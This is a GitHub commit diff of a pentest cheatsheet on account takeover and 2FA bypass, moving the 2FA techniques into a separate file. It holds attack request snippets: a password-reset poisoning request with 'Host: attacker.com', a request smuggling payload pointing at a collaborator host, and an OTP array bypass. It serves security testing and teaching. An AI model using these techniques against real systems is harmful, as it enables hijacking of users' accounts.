Skip to content

Commit 8bc33f8

Browse files
committed
Fix markdown style issues in Account Takeover
1 parent a6b3b9d commit 8bc33f8

File tree

3 files changed

+144
-162
lines changed

3 files changed

+144
-162
lines changed

Account Takeover/README.md

Lines changed: 40 additions & 151 deletions
Original file line numberDiff line numberDiff line change
@@ -2,43 +2,26 @@
22

33
> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
44
5-
65
## Summary
76

87
* [Password Reset Feature](#password-reset-feature)
9-
* [Password Reset Token Leak Via Referrer](#password-reset-token-leak-via-referrer)
8+
* [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
109
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
11-
* [Password Reset Via Email Parameter](#password-reset-via-email-parameter)
10+
* [Password Reset via Email Parameter](#password-reset-via-email-parameter)
1211
* [IDOR on API Parameters](#idor-on-api-parameters)
1312
* [Weak Password Reset Token](#weak-password-reset-token)
1413
* [Leaking Password Reset Token](#leaking-password-reset-token)
15-
* [Password Reset Via Username Collision](#password-reset-via-username-collision)
16-
* [Account takeover due to unicode normalization issue](#account-takeover-due-to-unicode-normalization-issue)
17-
* [Account Takeover Via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
18-
* [Account Takeover Via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
19-
* [Account Takeover via CSRF](#account-takeover-via-csrf)
20-
* [2FA Bypasses](#2fa-bypasses)
21-
* [Response Manipulation](#reponse-manipulation)
22-
* [Status Code Manipulation](#status-code-manipulation)
23-
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
24-
* [JS File Analysis](#js-file-analysis)
25-
* [2FA Code Reusability](#2fa-code-reusability)
26-
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
27-
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
28-
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
29-
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
30-
* [Backup Code Abuse](#backup-code-abuse)
31-
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
32-
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
33-
* [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)
34-
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
35-
* [Bypass 2FA with array](#bypass-2fa-with-array)
14+
* [Password Reset via Username Collision](#password-reset-via-username-collision)
15+
* [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
16+
* [Account Takeover via Web Vulneralities](#account-takeover-via-web-vulneralities)
17+
* [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
18+
* [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
19+
* [Account Takeover via CSRF](#account-takeover-via-csrf)
3620
* [References](#references)
3721

38-
3922
## Password Reset Feature
4023

41-
### Password Reset Token Leak Via Referrer
24+
### Password Reset Token Leak via Referrer
4225

4326
1. Request password reset to your email address
4427
2. Click on the password reset link
@@ -47,22 +30,22 @@
4730
5. Intercept the request in Burp Suite proxy
4831
6. Check if the referer header is leaking password reset token.
4932

50-
5133
### Account Takeover Through Password Reset Poisoning
5234

5335
1. Intercept the password reset request in Burp Suite
5436
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
5537
3. Forward the request with the modified header
38+
5639
```http
5740
POST https://example.com/reset.php HTTP/1.1
5841
Accept: */*
5942
Content-Type: application/json
6043
Host: attacker.com
6144
```
62-
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
6345
46+
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
6447
65-
### Password Reset Via Email Parameter
48+
### Password Reset via Email Parameter
6649
6750
```powershell
6851
# parameter pollution
8669
1. Attacker have to login with their account and go to the **Change password** feature.
8770
2. Start the Burp Suite and Intercept the request
8871
3. Send it to the repeater tab and edit the parameters : User ID/email
72+
8973
```powershell
9074
POST /api/changepass
9175
[...]
@@ -110,55 +94,60 @@ Try to determine if the token expire or if it's always the same, in some cases t
11094
11195
### Leaking Password Reset Token
11296
113-
1. Trigger a password reset request using the API/UI for a specific email e.g: [email protected]
97+
1. Trigger a password reset request using the API/UI for a specific email e.g: <[email protected]>
11498
2. Inspect the server response and check for `resetToken`
11599
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
116100
117-
### Password Reset Via Username Collision
101+
### Password Reset via Username Collision
118102
119103
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
120104
2. Request a password reset with your malicious username.
121105
3. Use the token sent to your email and reset the victim password.
122106
4. Connect to the victim account with the new password.
123107
124-
The platform CTFd was vulnerable to this attack.
108+
The platform CTFd was vulnerable to this attack.
125109
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
126110
127-
128-
### Account takeover due to unicode normalization issue
111+
### Account Takeover Due To Unicode Normalization Issue
129112
130113
When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.
131114
132-
- Victim account: `[email protected]`
133-
- Attacker account: `demⓞ@gmail.com`
115+
* Victim account: `[email protected]`
116+
* Attacker account: `demⓞ@gmail.com`
134117
135118
[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
136119
137120
[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
138121
122+
## Account Takeover via Web Vulneralities
139123
140-
## Account Takeover Via Cross Site Scripting
124+
### Account Takeover via Cross Site Scripting
141125
142126
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
143127
2. Leak the current **sessions cookie**
144128
3. Authenticate as the user using the cookie
145129
146-
147-
## Account Takeover Via HTTP Request Smuggling
130+
### Account Takeover via HTTP Request Smuggling
148131
149132
Refer to **HTTP Request Smuggling** vulnerability page.
133+
150134
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
135+
151136
```powershell
152137
git clone https://github.com/defparam/smuggler.git
153138
cd smuggler
154139
python3 smuggler.py -h
155140
```
141+
156142
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
143+
157144
```powershell
158145
GET http://something.burpcollaborator.net HTTP/1.1
159146
X:
160147
```
148+
161149
3. Final request could look like the following
150+
162151
```powershell
163152
GET / HTTP/1.1
164153
Transfer-Encoding: chunked
@@ -171,128 +160,28 @@ Refer to **HTTP Request Smuggling** vulnerability page.
171160
GET http://something.burpcollaborator.net HTTP/1.1
172161
X: X
173162
```
174-
163+
175164
Hackerone reports exploiting this bug
176-
* https://hackerone.com/reports/737140
177-
* https://hackerone.com/reports/771666
178165
166+
* <https://hackerone.com/reports/737140>
167+
* <https://hackerone.com/reports/771666>
179168
180-
## Account Takeover via CSRF
169+
### Account Takeover via CSRF
181170
182171
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
183172
2. Send the payload
184173
174+
### Account Takeover via JWT
185175
186-
## Account Takeover via JWT
187-
188-
JSON Web Token might be used to authenticate an user.
176+
JSON Web Token might be used to authenticate an user.
189177
190178
* Edit the JWT with another User ID / Email
191-
* Check for weak JWT signature
192-
193-
194-
## 2FA Bypasses
195-
196-
### Response Manipulation
197-
198-
In response if `"success":false`
199-
Change it to `"success":true`
200-
201-
202-
### Status Code Manipulation
203-
204-
If Status Code is **4xx**
205-
Try to change it to **200 OK** and see if it bypass restrictions
206-
207-
208-
### 2FA Code Leakage in Response
209-
210-
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
211-
212-
213-
### JS File Analysis
214-
215-
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
216-
217-
218-
### 2FA Code Reusability
219-
220-
Same code can be reused
221-
222-
223-
### Lack of Brute-Force Protection
224-
225-
Possible to brute-force any length 2FA Code
226-
227-
228-
### Missing 2FA Code Integrity Validation
229-
230-
Code for any user acc can be used to bypass the 2FA
231-
232-
233-
### CSRF on 2FA Disabling
234-
235-
No CSRF Protection on disabling 2FA, also there is no auth confirmation
236-
237-
238-
### Password Reset Disable 2FA
239-
240-
2FA gets disabled on password change/email change
241-
242-
243-
### Backup Code Abuse
244-
245-
Bypassing 2FA by abusing the Backup code feature
246-
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
247-
248-
249-
### Clickjacking on 2FA Disabling Page
250-
251-
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
252-
253-
254-
### Enabling 2FA doesn't expire Previously active Sessions
255-
256-
If the session is already hijacked and there is a session timeout vuln
257-
258-
259-
### Bypass 2FA by Force Browsing
260-
261-
If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
262-
263-
264-
### Bypass 2FA with null or 000000
265-
Enter the code **000000** or **null** to bypass 2FA protection.
266-
267-
268-
### Bypass 2FA with array
269-
270-
```json
271-
{
272-
"otp":[
273-
"1234",
274-
"1111",
275-
"1337", // GOOD OTP
276-
"2222",
277-
"3333",
278-
"4444",
279-
"5555"
280-
]
281-
}
282-
```
283-
284-
285-
## TODO
286-
287-
* Broken cryptography
288-
* Session hijacking
289-
* OAuth misconfiguration
290-
179+
* Check for weak JWT signature
291180
292181
## References
293182
294-
- [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo)
295-
- [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
296-
- [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
297-
- [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
298-
- [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
183+
* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo)
184+
* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
185+
* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
186+
* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
187+
* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)

Account Takeover/mfa-bypass.md

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
# MFA Bypasses
2+
3+
> Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised.
4+
> MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.
5+
6+
## Summary
7+
8+
* [Response Manipulation](#response-manipulation)
9+
* [Status Code Manipulation](#status-code-manipulation)
10+
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
11+
* [JS File Analysis](#js-file-analysis)
12+
* [2FA Code Reusability](#2fa-code-reusability)
13+
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
14+
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
15+
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
16+
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
17+
* [Backup Code Abuse](#backup-code-abuse)
18+
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
19+
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
20+
* [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)
21+
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
22+
* [Bypass 2FA with array](#bypass-2fa-with-array)
23+
24+
## 2FA Bypasses
25+
26+
### Response Manipulation
27+
28+
In response if `"success":false`
29+
Change it to `"success":true`
30+
31+
### Status Code Manipulation
32+
33+
If Status Code is **4xx**
34+
Try to change it to **200 OK** and see if it bypass restrictions
35+
36+
### 2FA Code Leakage in Response
37+
38+
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
39+
40+
### JS File Analysis
41+
42+
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
43+
44+
### 2FA Code Reusability
45+
46+
Same code can be reused
47+
48+
### Lack of Brute-Force Protection
49+
50+
Possible to brute-force any length 2FA Code
51+
52+
### Missing 2FA Code Integrity Validation
53+
54+
Code for any user acc can be used to bypass the 2FA
55+
56+
### CSRF on 2FA Disabling
57+
58+
No CSRF Protection on disabling 2FA, also there is no auth confirmation
59+
60+
### Password Reset Disable 2FA
61+
62+
2FA gets disabled on password change/email change
63+
64+
### Backup Code Abuse
65+
66+
Bypassing 2FA by abusing the Backup code feature
67+
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
68+
69+
### Clickjacking on 2FA Disabling Page
70+
71+
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
72+
73+
### Enabling 2FA doesn't expire Previously active Sessions
74+
75+
If the session is already hijacked and there is a session timeout vuln
76+
77+
### Bypass 2FA by Force Browsing
78+
79+
If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
80+
81+
### Bypass 2FA with null or 000000
82+
83+
Enter the code **000000** or **null** to bypass 2FA protection.
84+
85+
### Bypass 2FA with array
86+
87+
```json
88+
{
89+
"otp":[
90+
"1234",
91+
"1111",
92+
"1337", // GOOD OTP
93+
"2222",
94+
"3333",
95+
"4444",
96+
"5555"
97+
]
98+
}
99+
```

0 commit comments

Comments
 (0)